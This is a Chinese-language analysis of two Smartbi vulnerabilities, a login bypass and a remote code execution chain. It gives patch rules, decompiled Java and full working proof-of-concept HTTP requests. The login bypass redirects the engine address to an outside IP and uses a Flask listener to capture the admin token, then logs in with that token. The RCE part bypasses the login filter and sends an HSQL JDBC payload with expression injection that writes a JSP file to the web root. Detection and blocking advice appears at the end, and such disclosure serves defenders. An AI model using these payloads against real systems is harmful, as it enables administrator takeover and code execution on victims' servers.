Smartbi登陆绕过

补丁分析

下载补丁 利用脚本 解码获得本次 补丁信息

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
"url": "/smartbix/api/monitor/setServiceAddress",
"rules": [{
"type": "RejectSmartbixSetAddress"
}]
}, {
"url": "/smartbix/api/monitor/setServiceAddress/",
"rules": [{
"type": "RejectSmartbixSetAddress"
}]
}, {
"url": "/smartbix/api/monitor/setEngineAddress",
"rules": [{
"type": "RejectSmartbixSetAddress"
}]
}, {
"url": "/smartbix/api/monitor/setEngineAddress/",
"rules": [{
"type": "RejectSmartbixSetAddress"
}]
}, {
"url": "/smartbix/api/monitor/setEngineInfo",
"rules": [{
"type": "RejectSmartbixSetAddress"
}]
}, {
"url": "/smartbix/api/monitor/setEngineInfo/",
"rules": [{
"type": "RejectSmartbixSetAddress"
}]
}]

漏洞分析

其主要原因是位于/setEngineInfo /setEngineAddress 和 /setServiceAddres的路由, 用户可以修改EngineUrl 和 ServiceUrl 的地址,/token 路由会向EngineUrl 或 ServiceUrl 地址发送 admin的token ,二者结合导致漏洞产生。

修改 EngineUrl 和 ServiceUrl 功能分析 路由如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/smartbix/api/monitor/setEngineInfo
/smartbix/api/monitor/setEngineAddress
/smartbix/api/monitor/setServiceAddres
@RequestMapping(
value = {"/setEngineInfo"},
method = {RequestMethod.POST}
)
public ResponseModel setEngineInfo(@RequestBody String engineAddress, @RequestBody String serviceAddress) {
ResponseModel res = new ResponseModel();
if (StringUtils.isBlank(engineAddress)) {
throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Engine address cannot be empty");
} else if (StringUtils.isBlank(serviceAddress)) {
throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Service address cannot be empty");
} else {
this.systemConfigService.updateSystemConfig("ENGINE_ADDRESS", engineAddress, NodeLanguage.getNodeLanguage("EngineAddress"));
this.systemConfigService.updateSystemConfig("SERVICE_ADDRESS", serviceAddress, NodeLanguage.getNodeLanguage("ServiceAddress"));
res.setMessage("Engine and service address updated successfully");
return res.setTime();
}
}

@RequestMapping(
value = {"/setEngineAddress"},
method = {RequestMethod.POST}
)
public ResponseModel setEngineAddress(@RequestBody String engineAddress) {
ResponseModel res = new ResponseModel();
if (StringUtils.isBlank(engineAddress)) {
throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Engine address cannot be empty");
} else {
this.systemConfigService.updateSystemConfig("ENGINE_ADDRESS", engineAddress, NodeLanguage.getNodeLanguage("EngineAddress"));
res.setMessage("Engine address updated successfully");
return res.setTime();
}
}

@RequestMapping(
value = {"/setServiceAddress"},
method = {RequestMethod.POST}
)
public ResponseModel setServiceAddress(@RequestBody String serviceAddress) {
ResponseModel res = new ResponseModel();
if (StringUtils.isBlank(serviceAddress)) {
throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail("Service address cannot be empty");
} else {
this.systemConfigService.updateSystemConfig("SERVICE_ADDRESS", serviceAddress, NodeLanguage.getNodeLanguage("ServiceAddress"));
res.setMessage("Service address updated successfully");
return res.setTime();
}
}

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@RequestMapping(
value = {"/token"},
method = {RequestMethod.POST}
)
@FunctionPermission({"NOT_LOGIN_REQUIRED"})
public void getToken(@RequestBody String type) throws Exception {
String token = this.catalogService.getToken(10800000L);
ComponentStateHolder.toSmartbiX();
if (StringUtil.isNullOrEmpty(token)) {
throw SmartbiXException.create(CommonErrorCode.NULL_POINTER_ERROR).setDetail("token is null");
} else if (!"SERVICE_NOT_STARTED".equals(token)) {
Map<String, String> result = new HashMap();
result.put("token", token);
if ("experiment".equals(type)) {
EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);
} else if ("service".equals(type)) {
EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});
}

ComponentStateHolder.toSmartbiX();
ComponentStateHolder.fromSmartbiX();
}
}

img

/token 路由 获取token 后 判断type值发送给 对应服务

验证

postJsonEngine-》HttpKit.postJson-》post

仅验证json 以及状态码是否为 200

img

发送数据 调用post方法

img

漏洞检测

修改 service address 或 engine address

/smartbi/smartbix/api/monitor/setEngineAddress

/smartbi/smartbix/api/monitor/setServiceAddress

访问地址 /smartbi/smartbix/api/monitor/engineInfo

查询信息是否被修改

POC

  • 修改 service address 或 engine address
  • 获取 engine info
  • 获取 token
  • 使用token 登录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1
Host: 172.16.170.231:18080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=B161558917C5C40E9F44D3F200F233FC;
JSESSIONID=2000E5F7344942A884FF5F20428B0AA0
Connection: close
Content-Type: plain/text
Content-Length: 24

http://121.5.111.38:8088

查询 地址是否被修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: 172.16.170.231:18080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=B161558917C5C40E9F44D3F200F233FC;
JSESSIONID=2000E5F7344942A884FF5F20428B0AA0
Connection: close
Content-Type: plain/text
Content-Length: 0

python 模拟通信脚本

1
2
3
4
5
6
7
8
9
10
11
12
import json
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken', methods=['POST'])
def smartbi_token():
data = request.get_data()
data = json.loads(data)
print(f'[+] token: {data["token"]}')
return '{"code":0,"message":"OK"}'
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8088')

调用token 接口使其 发送带有 admin的token 「需要利用上面的python脚本建立模拟通信」

想调用 EngineAddress 地址监听 需要 post experiment

想调用 serviceAddress 地址监听 需要 post service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /smartbi/smartbix/api/monitor/token HTTP/1.1
Host: 172.16.170.231:18080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=B161558917C5C40E9F44D3F200F233FC;
JSESSIONID=2000E5F7344942A884FF5F20428B0AA0
Connection: close
Content-Type: plain/text
Content-Length: 10

experiment

img

利用监听获得的 Token 登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /smartbi/smartbix/api/monitor/login HTTP/1.1
Host: 172.16.170.231:18080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=B161558917C5C40E9F44D3F200F233FC;
JSESSIONID=2000E5F7344942A884FF5F20428B0AA0
Connection: close
Content-Type: plain/text
Content-Length: 47

admin_I2c9f75520189a9c8a9c86b060189ab23f0ea00a5

影响版本

Smartbi <= V10

补丁

https://www.smartbi.com.cn/patchinfo

Smartbi 远程代码执行漏洞

漏洞信息描述

CheckIsLoggedFilter绕过 + RMIServlet JDBC 利用

补丁分析

与本次漏洞相关的补丁有

1
2
3
smartbi.security.patch.impl.RMIServletPatchRule#patch

smartbi.security.patch.impl.WindowUnLoadingAndAttributeRule#patch

RMIServletPatchRule中对RMIServlet进行了patch,从req中取了classname和methodname,之后传patchRMI当中获取结果

img

patchRMI有许多重写的方法,这里把RMIServlet JDBC 的那个利用链给ban了

img

img

WindowUnLoadingAndAttributeRule中对windowUnloading传参的情况进行了判断,防止解析不一致

img

poc细节

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /smartbi/vision/RMIServlet?windowUnloading=className%3DUserService%26methodName%3DautoLoginByPublicUser%26params%3D%5B%5D HTTP/1.1
Host: 39.107.138.71:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4A423D8D7C23A745FFF9B10C6273290
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

className=DataSourceService&methodName=testConnectionList&params=%5b%5d

img

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /smartbi/vision/RMIServlet?windowUnloading=className%3DUserService%26methodName%3DautoLoginByPublicUser%26params%3D%5B%5D HTTP/1.1
Host: 39.107.138.71:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A4A423D8D7C23A745FFF9B10C6273290
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

className=DataSourceService&methodName=testConnectionList&params=[[{"password":"","maxConnection":100,"user":"${''.getClass().forName(param.a,true,''.getClass().forName(param.b).newInstance())}","driverType":"HSQL","url":"jdbc:hsqldb:file:C:/z2;","name":"test","driver":"org.hsqldb.jdbcDriver","dbCharset":"","transactionIsolation":-1,"validationQueryMethod":0,"validationQuery":"SCRIPT+'../webapps/smartbi/res.jsp';"}]]

img

漏洞分析

CheckIsLoggedFilter绕过

在CheckIsLoggedFilter中会获取className、methodName、params三个参数

共有三种获取参数的方法,分别是

  • windowUnloading
  • POST params
  • GET params

在获取到className和methodName后,会进入函数needToCheck中对类名和方法名进行判断

img

needToCheck主要采用白名单的方式

img

以上是CheckIsLoggedFilter的判断逻辑,只有通过白名单检验或处于登录态才可以进入RMIServlet

继续进入RMIServlet中,可见RMIServlet使用了RMIUtil.parseRMIInfo来获取参数

img

而RMIUtil.parseRMIInfo中首先会使用request.getParameter来获取参数,而不是CheckIsLoggedFilter中使用的windowUnloading,这时候就会产生和CheckIsLoggedFilter解析参数方法不一致的问题

img

如果能在CheckIsLoggedFilter中使用windowUnloading来通过白名单检验,同时把目标类和目标函数放在post参数中,就可以调用白名单之外的类的方法

最终的sink是smartbi.freequery.client.datasource.DataSourceService#testConnectionList

影响版本

Smartbi v8 部分版本

Smartbi v9、v10全版本

产品支持建议

漏洞检测方面:

这次的漏洞主要是因为对参数的解析不一致导致了可以调用白名单以外的类的方法,检测方法可以是尝试在RMIServlet中调用一个白名单之外的任意类的方法(可以不是testConnectionList),通过返回结果观察是否调用成功

漏洞防护方面:

拦截对/smartbi/vision/RMIServlet路由且携带windowUnloading参数的请求

补丁

https://www.smartbi.com.cn/patchinfo